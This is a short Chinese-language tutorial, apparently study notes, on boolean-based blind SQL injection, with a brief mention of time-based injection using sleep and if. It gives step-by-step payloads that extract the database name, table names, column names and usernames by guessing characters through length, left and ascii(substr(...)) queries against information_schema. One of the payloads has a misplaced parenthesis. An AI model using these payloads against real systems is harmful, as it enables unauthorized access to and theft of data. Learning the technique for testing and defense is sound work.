基于布尔的盲注(盲注在没有回显的情况)
用报错注入不行么?
盲注和普通注入的区别:
盲注:一个一个猜(兼容性好,应用广,效率低)
普通注入:直接获取(兼容性差,应用窄,效率高)
第一步:获取当前数据库
盲注中,获取数据库的语句是需要一个一个进行猜解
获取数据库第一步:
获取数据库名称长度 用到length函数
length(database())=3
盲注必须使用and,并且,不能使用“-”让他报错
盲注正常与否,要和正常查询的页面进行比对
security 长度为8
获取数据库第二步:
进行查询数据库名称
要用到left函数
left((database(),1)=‘s’
进行爆破
注意:必须递进,比如说我用left 2 等于的值必须为se
依次确定第2,3,4,5为 注意:必须递进
第二步:进行表名获取
asc码有临界值0-127
比如大写A对应65 小写a对应97
ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=0-127
第三步:进行列名获取
ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=0-127
第四步:进行读取数据
1’ and ascii(substr((select username from users limit 0,1),1,1))=68
延迟注入(效率特别低)
sleep函数 进行一个延迟 配合使用if函数 如果数据库长度为8,那么就延迟5秒,反之,不延迟。
能不用延迟,就不用延迟,延迟效率特别低
布尔型才是盲注中的精髓